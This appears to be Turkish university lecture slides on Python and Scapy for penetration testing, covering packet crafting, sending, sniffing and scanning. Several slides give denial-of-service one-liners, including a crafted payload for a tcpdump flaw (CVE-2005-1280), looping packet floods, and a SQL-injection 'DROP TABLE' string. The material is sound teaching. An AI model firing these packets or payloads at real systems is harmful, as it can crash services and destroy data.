sızma testleri ˙ic¸in python · i her katman bas¸ka bir katmana eklenebilir i her katman ve...

107
Python Python for Pentsters Scapy g Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets Sızma Testleri ˙ Ic ¸in Python BGM 531 - Sızma Testleri ve G¨ uvenlik Denetlemeleri Bilgi G ¨ uvenli ˘ gi M ¨ uhendisli ˘ gi uksek Lisans Programı Dr. Ferhat ¨ Ozg ¨ ur C ¸ atak [email protected] ˙ Istanbul S ¸ ehir ¨ Universitesi 2018 - G ¨ uz Dr. Ferhat ¨ Ozg ¨ ur C ¸ atak [email protected] Sızma Testleri ˙ Ic ¸in Python

Upload: others

Post on 11-Oct-2020

7 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Sızma Testleri Icin PythonBGM 531 - Sızma Testleri ve Guvenlik Denetlemeleri

Bilgi Guvenligi MuhendisligiYuksek Lisans Programı

Dr. Ferhat Ozgur [email protected]

Istanbul Sehir Universitesi2018 - Guz

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 2: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 3: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 4: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Python I

GirisI Topluluk destegi oldukca fazla olan betik dili: PythonI Interactive interpreterI Text editors: Notepad++, gedit, vim

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 5: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Python II

DegiskenlerI This is an int (signed, 32bits) : 42I This is a long (signed, infinite): 42LI This is a str : "bell\x07\n" or ’bell\x07 \n’I This is a tuple : (1,4,”42”)

I You can’t add elements to a tuple. Tuples have no append or extend method.I You can’t remove elements from a tuple. Tuples have no remove or pop

method.I Tuples are faster than lists.

I This is a list : [4,2,”1”]I This is a dict : ”one”:1 , ”two”:2

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 6: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Python III

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 7: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Strings I

Python String SlicingI You can reference any part of a string with brackets

I Start from the beginning or the endI Always start counting from zero

>>> filename = "C:\\Windows\\System32\\meterpreter.exe">>> filename[0]’C’>>> filename[1]’:’>>> filename[-1]’e’>>> filename[-2]’x’>>> filename[3:10]’Windows’>>> filename[3:]’Windows\\System32\\meterpreter.exe’>>> filename.split("\\")[’C:’, ’Windows’, ’System32’, ’meterpreter.exe’]>>> filename.split(".")

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 8: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Strings II

[’C:\\Windows\\System32\\meterpreter’, ’exe’]

String ConcatenationI You can concat strings with +

email = "ozgur.catak" + "@" + "tubitak.gov.tr"

I You can append stringsurl = "http://10.10.10.10/get.php"url = url + "?param=1;DROP TABLE USERS"

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 9: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Strings III

SyntaxI No block delimiters. Indentation does matter.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 10: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Python Lists I

Python ListsI Used for storing a list of variables

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 11: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Python Lists II

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 12: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 13: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Olusturma Aracları I

I Packet forging tool: forges packets and sends themI Sniffing tool: captures packets and possibly dissects themI Testing tool: does unitary tests. Usually tries to answer a yes/no

question (ex: ping)I Scanning tool: does a bunch of unitary tests with some parameters

varying in a given rangeI Fingerprinting tool: does some predefined eclectic unitary tests to

discriminate a peerI Attacking tool: uses some unexpected values in a protocol

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 14: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Olusturma Aracları II

Sniffing tools

ethereal, tcpdump, net2pcap, cdpsniffer, aimsniffer, vomit, tcptrace, tcptrack,nstreams, argus, karpski, ipgrab, nast, cdpr, aldebaran, dsniff, irpas, iptraf, ...

Packet forging tools

packeth, packit, packet excalibur, nemesis, tcpinject, libnet, IP sorcery,pacgen, arp-sk, arpspoof, dnet, dpkt, pixiliate, irpas, sendIP,IP-packetgenerator, sing, aicmpsend, libpal, ...

Testing tools

ping, hping2, hping3, traceroute, tctrace, tcptraceroute, traceproto, fping,arping...

Scanning tools

nmap, amap, vmap, hping3, unicornscan, ttlscan, ikescan, paketto, firewalk,...

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 15: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Olusturma Aracları III

Fingerpringing tools

nmap, xprobe, p0f, cron-OS, queso, ikescan, amap, synscan, ...

Attacking tools

dnsspoof, poison ivy, ikeprobe, ettercap, dsniff suite, cain, hunt, airpwn, irpas,nast, yersinia, ...

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 16: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Problem I

Ornek

Senaryo:I ”padding data” iceren ICMP echo istegiI ”More fragments” bayragı iceren IP protokol taramasıI ARP cache zehirlenmesiI DNS tunneling ile ”applicative payload” yukleme

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 17: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Problem II

I Kullanılan aracların yaptıkları yorumlar bazı durumlarda ag kesfiacısından yeterli olmayabilir.

Ornek

Interesting ports on 192.168.9.4:PORT STATE SERVICE22/tcp filtered ssh

Gercek durumda ne oldu?I No answer?I ICMP host unreachable ? from who ?I ICMP port administratively prohibited ? from who ?

⇒ Bu aracların yetenekleri olcusunde ag taranabilir.

⇒ Onların goremedigini farketmezsiniz.

⇒ Bugs, kusurlar ...

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 18: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Icindekiler

1 Python2 Python for Pentsters

Paket Olusturma AraclarıProblem

3 ScapyGirisAna Konsept

4 Ag Tarama ve SaldırıTCP Port TaramasıDetect fake TCP repliesIP protocol scanLab

5 DDoSDDoS Saldırı TrendleriMirai

Persirai6 DDoS Saldırı Kategorileri

GirisTCP/IP StandardıDos/DDoS SaldırılarıDigital Attack Map

7 BotNetsBotnetRoBotNetworkBotnet PropagationBotnet AraclarıDos/DDoS Aracları

8 DDoS SaldırılarıGirisYontemlerSaldırılar

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 19: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Giris

ProblemI 80 portunu iceren C - sınıfını TCP syn ve belirli bir TTL tarayınI Hangi IP adreslerinin ”ICMP time exceeded” cevabı vermedigini bulun.

Su an icin cozumI hping ile her bir ip adresine packetleri gondermekI tcpdump/Wireshark ile sonucları izlemek.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 20: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

TCP/IP Modeli

Sekil: TCP/IP Modeli 1

1http://fiberbit.com.tw/tcpip-model-vs-osi-model/Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 21: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Ana Konsept

I Fast packet designingI Default values that workI Unlimited combinationsI Probe once, interpret manyI Interactive packet and result manipulation

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 22: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Fast packet designing I

I Her bir paket katmanlara ozel olusturulmaktadır. (Ether, IP, TCP, ...)I Her katman baska bir katmana eklenebilirI Her katman ve paket manipule edilebilirI Her bir alan varsayılan degerleri ile olusturulurI Her bir alan tek deger alabilecegi gibi birden fazla deger alabilir.

Ornek

>>> a=IP(dst="www.target.com", id=0x42)>>> a.ttl=12>>> b=TCP(dport=[22,23,25,80,443])>>> c=a/b

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 23: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Fast packet designing II

Scapy ile paket olusturma

I want a broadcast MAC address, and IP payload to ketchup.com and tomayo.com, TTL value from 1 to 9, and an UDP payload.

Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst=["ketchup.com","mayo.com"],ttl=(1,9))/UDP()

1 satırda tanımlanan 18 paketimiz var.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 24: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Varsayılan Degerler I

Varsayılan Degerler

Eger degistirilmezseI IP kaynagı, hedef IP ve ”routing table”’a gore secilir.I Checksum hesaplanırI Kaynak MAC, cıkıs arayuzune (output interface) gore secilir.I ...

Diger alanların varsayılan degerleri en yararlı olanlar olarak secilir:I TCP kaynak port 20, hedef port 80I UDP kaynagı ve hedef portları 53’turI ICMP turu ”echo request”I ...

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 25: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Varsayılan Degerler II

>>> ls(IP)version : BitField = (4)ihl : BitField = (None)tos : XByteField = (0)len : ShortField = (None)id : ShortField = (1)flags : FlagsField = (0)frag : BitField = (0)ttl : ByteField = (64)proto : ByteEnumField = (0)chksum : XShortField = (None)src : Emph = (None)dst : Emph = (’127.0.0.1’)options : PacketListField = ([])

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 26: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Manipulasyonu I

>>> a=IP(ttl=10)>>> a< IP ttl=10 |>>>> a.src’127.0.0.1’>>> a.dst="192.168.1.1">>> a< IP ttl=10 dst=192.168.1.1 |>>>> a.src’192.168.8.14’>>> del(a.ttl)>>> a< IP dst=192.168.1.1 |>>>> a.ttl64

>>> b=a/TCP(flags="SF")>>> b< IP proto=TCP dst=192.168.1.1 |< TCP flags=FS |>>>>> b.show()---[ IP ]---version = 4ihl = 0tos = 0x0len = 0id = 1flags =frag = 0ttl = 64proto = TCPchksum = 0x0

>src = 192.168.8.14dst = 192.168.1.1options = ’’---[ TCP ]---sport = 20dport = 80seq = 0ack = 0dataofs = 0reserved = 0flags = FSwindow = 0chksum = 0x0urgptr = 0options =

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 27: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Manipulasyonu II

>>> str(b)’E\x00\x00(\x00\x01\x00\x00@\x06\xf0o\xc0\xa8\x08\x0e\xc0\xa8\x01\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x03\x00\x00%\x1e\x00\x00’

>>> IP(_)< IP version=4L ihl=5L tos=0x0 len=40 id=1 flags= frag=0Lttl=64 proto=TCP chksum=0xf06f src=192.168.8.14dst=192.168.1.1 options=’’ |< TCP sport=20 dport=80seq=0L ack=0L dataofs=5L reserved=16L flags=FSwindow=0 chksum=0x251e urgptr=0 |>>

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 28: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Manipulasyonu III

>>> b.ttl=(10,14)>>> b.payload.dport=[80,443]>>> [k for k in b][< IP ttl=10 proto=TCP dst=192.168.1.1 |< TCP dport=80 flags=FS |>>,< IP ttl=10 proto=TCP dst=192.168.1.1 |< TCP dport=443 flags=FS |>>,< IP ttl=11 proto=TCP dst=192.168.1.1 |< TCP dport=80 flags=FS |>>,< IP ttl=11 proto=TCP dst=192.168.1.1 |< TCP dport=443 flags=FS |>>,< IP ttl=12 proto=TCP dst=192.168.1.1 |< TCP dport=80 flags=FS |>>,< IP ttl=12 proto=TCP dst=192.168.1.1 |< TCP dport=443 flags=FS |>>,< IP ttl=13 proto=TCP dst=192.168.1.1 |< TCP dport=80 flags=FS |>>,< IP ttl=13 proto=TCP dst=192.168.1.1 |< TCP dport=443 flags=FS |>>,< IP ttl=14 proto=TCP dst=192.168.1.1 |< TCP dport=80 flags=FS |>>,< IP ttl=14 proto=TCP dst=192.168.1.1 |< TCP dport=443 flags=FS |>>]

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 29: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Print Fonksiyonu I

>>> a=IP(dst="192.168.8.1",ttl=12)/UDP(dport=123)>>> a.sprintf("The source is %IP.src%")’The source is 192.168.8.14’>>> f = lambda x: \x.sprintf("dst=%IP.dst% proto=%IP.proto% dport=%UDP.dport%")>>> f(a)’dst=192.168.8.1 proto=UDP dport=123’>>> b=IP(dst="192.168.8.1")/ICMP()>>> f(b)’dst=192.168.8.1 proto=ICMP dport=??’>>> f = lambda x: \x.sprintf("dst=%IP.dst%\proto=%IP.proto%{UDP: dport=%UDP.dport%}")>>> f(a)’dst=192.168.8.1 proto=UDP dport=123’>>> f(b)’dst=192.168.8.1 proto=ICMP’

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 30: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Print Fonksiyonu II

a=IP(dst="192.168.2.1")/ICMP()a.pdfdump("test.pdf")

IPversion 4

45

ihl 5

00

tos 0x0

00 1c

len 28

00 01

id 1flags

00 00

frag 0

40

ttl 64

01

proto icmp

f5 86

chksum 0xf586

c0 a8 02 08

src 192.168.2.8

c0 a8 02 01

dst 192.168.2.1options []

ICMP

08

type echo-request

00

code

f7 ff

chksum 0xf7ff

00 00

id 0x0

00 00

seq 0x0

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 31: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Gonderimi I

>>> a=IP(dst="192.168.4.67")/ICMP()/"BGM553">>> send(a).Sent 1 packets.>>> send([a]*30)..............................Sent 30 packets.

# loop: send the packets endlessly if not 0.# inter: time in seconds to wait between 2 packets>>> send(a,inter=0.1,loop=1)...........................................ˆCSent 43 packets.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 32: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Gonderimi II

FuzzingI The function fuzz() is able to change any default value that is not to be

calculated (like checksums) by an object whose value is random andwhose type is adapted to the field.

>>> send(IP(dst="192.168.4.67")/fuzz(UDP()),loop=1,inter=0.1).....................ˆCSent 21 packets.

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 33: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Paket Gonderimi III

I DoS proof of concept is 115 lines of C code (without comments)I Scapy

send(IP(dst="target",options="\x02\x27"+"X"*38)/TCP())

I tcpdump and Ethereal rsvp print() Remote Denial of Service Exploit :225 linesI CVE-2005-1280: The rsvp print function in tcpdump 3.9.1 and earlier allows

remote attackers to cause a denial of service (infinite loop) via a craftedRSVP packet of length 4.

I Scapy

send(IP(dst="1.1.1.1",proto="GRE")/’\x00\x00\x00\xfe\x83\x1b\x01\x06\x12\x01\xff\x07\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x07\x00\x00’ )

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 34: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Sniffing

>>> sniff(count=5,filter="tcp")< Sniffed: UDP:0 TCP:5 ICMP:0 Other:0>>>> sniff(count=2, prn=lambda x:x.summary())Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / RawEther / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw< Sniffed: UDP:0 TCP:2 ICMP:0 Other:0>>>> a=_>>> a.summary()Ether / IP / TCP 42.2.5.3:3021 > 192.168.8.14:22 PA / RawEther / IP / TCP 192.168.8.14:22 > 42.2.5.3:3021 PA / Raw>>> wrpcap("/tmp/test.cap", a)>>> rdpcap("/tmp/test.cap")< test.cap: UDP:0 TCP:2 ICMP:0 Other:0>>>> a[0]< Ether dst=00:12:2a:71:1d:2f src=00:02:4e:9d:db:c3 type=0x800

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 35: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Send/Receive I

>>> sr1(IP(dst="192.168.4.67")/ICMP())Begin emission:...Finished to send 1 packets..*Received 5 packets, got 1 answers, remaining 0 packets<IP version=4 ihl=5 tos=0x0 len=28 id=61778 flags=frag=0 ttl=64 proto=icmp chksum=0xffde src=192.168.4.67dst=192.168.4.28 options=[] |<ICMP type=echo-replycode=0 chksum=0xffff id=0x0 seq=0x0 |<Padding load=b’\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00’ |>>>

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

Page 36: Sızma Testleri ˙Ic¸in Python · I Her katman bas¸ka bir katmana eklenebilir I Her katman ve paket manipule edilebilir I Her bir alan varsayılan degerleri ile olus¸turulur˘

Python Python for Pentsters Scapy Ag Tarama ve Saldırı DDoS DDoS Saldırı Kategorileri BotNets DDoS Saldırıları

Send/Receive II

>>> sr(IP(dst="192.168.4.67", ttl=(10,20))/TCP(sport=RandShort()))Begin emission:Finished to send 11 packets..*.*.*.*.*.*.*.*.*.*.*Received 22 packets, got 11 answers, remaining 0 packets(<Results: TCP:11 UDP:0 ICMP:0 Other:0>,<Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)>>> res,unans=_>>> res.summary()IP / TCP 192.168.4.28:7296 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:7296 RA / PaddingIP / TCP 192.168.4.28:8697 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:8697 RA / PaddingIP / TCP 192.168.4.28:1948 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:1948 RA / PaddingIP / TCP 192.168.4.28:57869 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:57869 RA / PaddingIP / TCP 192.168.4.28:11597 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:11597 RA / PaddingIP / TCP 192.168.4.28:6830 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:6830 RA / PaddingIP / TCP 192.168.4.28:46462 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:46462 RA / PaddingIP / TCP 192.168.4.28:44069 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:44069 RA / PaddingIP / TCP 192.168.4.28:53323 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:53323 RA / PaddingIP / TCP 192.168.4.28:24326 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:24326 RA / PaddingIP / TCP 192.168.4.28:16808 > 192.168.4.67:http S ==> IP / TCP 192.168.4.67:http > 192.168.4.28:16808 RA / Padding

Dr. Ferhat Ozgur Catak [email protected] Sızma Testleri Icin Python

